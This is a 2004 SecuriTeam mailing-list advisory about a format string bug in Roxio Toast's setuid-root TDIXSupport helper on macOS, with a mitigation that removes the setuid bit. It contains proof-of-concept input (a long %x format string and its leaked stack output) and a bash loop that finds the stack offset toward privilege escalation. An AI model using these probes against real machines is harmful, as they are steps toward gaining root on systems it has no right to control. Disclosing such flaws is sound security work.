[NEWS] Roxio Toast Format String Vulnerability

From: SecuriTeam (support_at_securiteam.com)
Date: 12/16/04

  • Next message: SecuriTeam: "[UNIX] Samba smbd Security Descriptor Integer Overflow Vulnerability" 
    To: list@securiteam.com
Date: 16 Dec 2004 15:39:02 +0200

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    The SecuriTeam alerts list - Free, Accurate, Independent.

    Get your security news from a reliable source.
    http://www.securiteam.com/mailinglist.html

    - - - - - - - - -

      Roxio Toast Format String Vulnerability
    ------------------------------------------------------------------------

    SUMMARY

    There is a format string bug in the binary (/Library/Application
    Support/Roxio/TDIXSupport). The Roxio Toast is installed setuid root by
    default and may be exploited to gain elevated privileges by finding the
    offset and overwriting the stack with malicious instructions.

    DETAILS

    Example:
    fintler@haven:/Library/Application Support/Roxio$ ls -l TDIXSupport
    -rwsr-sr-x 1 root wheel 14260 5 Nov 2003 TDIXSupport

    fintler@haven:/Library/Application Support/Roxio$ ./TDIXSupport
    "AAAAAAAAAAAAAAA%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x
    %x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x
    %x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x
    %x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x
    %x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x"

    kextload: /Library/Application
    Support/Roxio/AAAAAAAAAAAAAAA905d2ce23a206e6f20737563682062756e646c652
    066696c652065789058a58c61e0403b4300090000ef0bfffee90bffff44064b26064b26
    064b2d061e2503032b09058a52cbfffef10440222229058a5f01100061e250fefefeff11
    73004a0ffffffff61e0409058e868bfffef10440282449058ea9c90197d3801696246a064
    b2d02314664b06061e040a00011ac3a000003032b09057df58bfffef303007a010300
    9f0bffff44064b2603032b03009f0030118090597b38bfffef802402824290597bc0905
    8f61cbfffef80304b903032b09058f61cbfffef80090580a2416904017a01900e064b2d0
    40300e60300e60016964b26000304b903032b09058f61cbffff000240222249058f74
    c0030083000bffff00048022422901b7ab4304b908ffffffff300e60624270a0193140a0
    1900e062427090197d38bffff0502802244803009f00300800300810101300830303
    2b0bffff48024022224474c00301520bffff2e00300d903817a01900e011805300a019
    2e946242702f4c6962726172792f4170706c69636174696f6e20537570706f72742f
    526f78696f2f4141414141:
    no such bundle file exists can't add kernel extension /Library/Application

    Support/Roxio/AAAAAAAAAAAAAAA%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x
    %x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x
    %x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x
    %x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x
    %x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x

    (file access/permissions) (run kextload on this kext with -t for
    diagnostic output)

    fintler@haven:/Library/Application Support/Roxio$
    for((i=1;i<1000;i++));do echo -n "$i "&&./TDIXSupport
    "AAAAAAAAAAAAAAAAAAAAAAA%$i\$x";done|grep 4141 2>/dev/null

    Workaround:
    You can remove the setuid permissions set to this file by issuing the
    following command:
    'sudo chmod 0755 /Library/Application Support/Roxio/TDIXSupport'

    (This will most likely disable some functionality of Toast.)

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:fintler@gmail.com> fintler.

    ========================================

    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

  • Next message: SecuriTeam: "[UNIX] Samba smbd Security Descriptor Integer Overflow Vulnerability"

    Relevant Pages